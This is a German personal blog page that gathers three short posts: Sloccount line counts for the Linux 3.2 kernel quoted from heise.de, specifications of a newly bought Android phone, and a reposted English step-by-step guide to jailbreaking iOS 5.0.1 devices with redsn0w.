Der Löwenanteil des Codes entfällt auf Treiber, Dateisysteme und architekturspezifischen Code. Vergrößern Eine etwas näherer Blick auf den Kernel-Code gelingt mit dem Analyse-Programm Sloccount. Bei Linux 3.2, das mit 14.998.651 Zeilen Code knapp unter der 15-Millionen-Marke liegt, sind knapp 1,9 Millionen Zeilen für die Unterstützung der verschiedenen Prozessor-Architekturen zuständig; fast 700.000 Zeilen enthält das Verzeichnis für Dateisysteme. Das Treiber-Verzeichnis ist mit 5,6 Millionen Zeilen das größte. Letztlich geht allerdings noch mehr Code auf das Konto von Treibern, denn manche finden sich in anderen Verzeichnissen – die Treiber für Sound-Hardware beispielsweise in sound/drivers/.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SLOC    Directory       SLOC-by-Language (Sorted)
5615064 drivers         ansic=5610304,yacc=1688,asm=1475,perl=792,lex=779,sh=26
1876166 arch            ansic=1632759,asm=241881,sh=692,awk=470,pascal=231, perl=58,python=45,sed=30
698974  fs              ansic=698974
533134  sound           ansic=532951,asm=183
493711  net             ansic=493615,awk=96
301646  include         ansic=299895,cpp=1709,asm=42
120454  kernel          ansic=120149,perl=305
56177   tools           ansic=51029,perl=3272,python=1399,sh=476,asm=1
54529   mm              ansic=54529
44171   security        ansic=44171
42627   crypto          ansic=42627
37307   scripts         ansic=22487,perl=8287,sh=2028,cpp=1820,yacc=1291,lex=947,python=447
28486   lib             ansic=28473,awk=13
14382   block           ansic=14382
11579   Documentation   ansic=6896,perl=2369,sh=1018,python=949,lisp=218,awk=129
5705    ipc             ansic=5705
4661    virt            ansic=4661
2377    init            ansic=2377
1876    firmware        asm=1660,ansic=216
1232    samples         ansic=1232
564     usr             ansic=550,asm=14
0       top_dir         (none)

Sloccount schaut sich die Dateien zudem noch näher an und erstellt eine Aufstellung zu den verwendeten Programmiersprachen. Demnach enthält Linux 3.2 nicht ganz 10 Millionen Zeilen Programmcode; davon sind 97 Prozent Ansi-C und 2,5 Prozent Assembler.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Totals grouped by language (dominant language first):
ansic:      9667982 (97.22%)
asm:         245256 (2.47%)
perl:         15083 (0.15%)
sh:            4240 (0.04%)
cpp:           3529 (0.04%)
yacc:          2979 (0.03%)
python:        2840 (0.03%)
lex:           1726 (0.02%)
awk:            708 (0.01%)
pascal:         231 (0.00%)
lisp:           218 (0.00%)
sed:             30 (0.00%)
Total Physical Source Lines of Code (SLOC)  = 9,944,822

Das Programm wurde aber schon einige Jahre nicht mehr aktualisiert und lässt sich in die Irre leiten, wie die Angaben zum Pascal-Code zeigen. Perl- und Python-Code findet sich aber durchaus in den Linux-Quellen; bei einigen Kernel-Versionen wird der Perl-Interpreter sogar zum Übersetzen benötigt.

 

Source: www.heise.de

Ich habe mir zu Weihnachten mal wieder ein neues Gerät gegönnt :-)

Hier ein paar Daten dazu :

Technische Daten

Display

  • 4,65-Zoll HD-Display (1280 x 720) mit Super AMOLED
  • Konkaves Display (gewölbtes Glas)

Größe

  • 67,94 x 135,5 x 8,94 mm (HSPA+)

Gewicht

  • 135 g (HSPA+)

Daten

  • HSPA+/3G/EDGE/GPRS
  • WLAN
  • BLUETOOTH

Speicher

  • Speicher: 16 GB
  • Arbeitsspeicher: 1 GB RAM

Kamera

  • 5 Megapixel, kontinuierlicher Autofokus
  • Frontkamera: 1,3 Megapixel
  • LED-Blitz
  • Keine Auslöseverzögerung
  • Videoaufzeichnung mit 1080p

Netzwerk

  • Variiert

USB

  • Micro-USB

Funktionen

  • AKKU: 1750 mAh
  • BETRIEBSSYSTEM: Ice Cream Sandwich (Android 4.0)
  • CPU: 1,2-GHz Dual-Core-Prozessor
  • BENACHRICHTIGUNG: LED mit 3 Farben
  • MIKROFONE: 2 Mikrofone
  • KEINE TASTEN
  • NFC
  • BESCHLEUNIGUNGSMESSER
  • GYROSKOP
  • KOMPASS
  • NÄHERUNGS-/LICHTSENSOR
  • BAROMETER

Heute den neuen Jailbreak auf meinen 3GS durchgeführt, hier ein gutes Tutorial…

Jailbreak 5.0.1 Untethered – iPhone 4, 3GS, iPod Touch 4G, 3G, iPad with Redsn0w 0.9.10 b1

By  at Saturday, December 31, 2011  

Jailbreak 5.0.1 untethered now became a reality. The iPhone Dev-team has just pushed Redsn0w 0.9.10 b1 to jailbreak 5.0.1  untethered on iPhone 4, 3GS, iPod touch 4G, 3G and iPad 1. Pod2g was the guy behind 5.0.1 untethered jailbreak, as he handed over his project to both Chronic Dev-team and iPhone Dev-team. The two teams have made a major task on 5.0.1 untethered jailbreak. iPhone Dev-team have put 5.0.1 untethered in to RedsnOw 0.9.10 b1 and PwnageTool. Chronic Dev-team put untethered 5.0.1 jailbreak into a Cydia package, thanks Pod2g and the both teams for making us happy.

Before starting to jailbreak 5.0.1untethered on iPhone 4, 3GS, iPod touch 4G, 3G and iPad – You have to know this :

Supported devices : 

  • iPhone 4 (GSM – CDMA)
  • iPhone 3GS
  • iPod touch 4G
  • iPod touch 3G
  • iPad 1

iPhone Dev-team’s advices :

  • If you have one of those devices and are not on 5.0.1 yet, update now!  The SHSH window is still open for 5.0.1  If you unlock via ultrasn0w or gevey, make sure you only get to 5.0.1 via a custom IPSW!    Once you’re at 5.0.1, use the latest redsn0w 0.9.10 to both jailbreak and untether.
  • If you’re already at 5.0.1 with a tethered jailbreak, you have two choices: either run redsn0w 0.9.10 over your current jailbreak (deselect “Install Cydia” if you do that), or install the Cydia package prepared by the chronic devteam.  The patches are the same regardless of which you choose.
  • Some of you are using a hybrid 5.0/5.0.1 configuration.  If so, do not attempt to install this untether over that setup!  You will most likely get into a reboot cycle.  Do a sync and fresh restore to 5.0.1 then install the jailbreak + untether.

How to jailbreak 5.0.1 untethered iPhone 4, 3GS, iPod touch 4G, 3G, iPad 1 – [Tutorial]

Required Downloads :

  • Download Redsn0w 0.9.10 b2 b3- Windows (be sure to run in Administrator mode)
  • Download Redsn0w 0.9.10 b2 b3- Mac
  • Download iOS 5.0.1 ipsw for iPhone, iPod touch or iPad
  • Download iTunes

Step by Step guide :

Step 1: Connect your iDevice with your PC via USB, and open iTunes then Restore to iOS 5.0.1 (If you are already running iOS 5.0.1, bypass this step)

Step 2: Start Redsn0w 0.9.10 b1, and press on “Jailbreak” button

Step 3: Now select “Install Cydia” and click “Next”.

Step 4: Now make sure your device is both OFF and PLUGGED IN to the computer before you click “Next”.

At this stage you will be presented with a screen where you will be guided on how to enter DFU mode. Quickly hold “Power” button and then while holding the “Power” button, you will now have to hold “Home” button too. Now after few seconds release “Power” button but keep holding “Home” button until installation begins.Strep 5: Wait until you get iOS 5.0.1  untethered jailbroken in few minutes. Congratulations.
Source: http://www.limera1n.cc/2011/12/jailbreak-501-untethered-iphone-4-3gs.html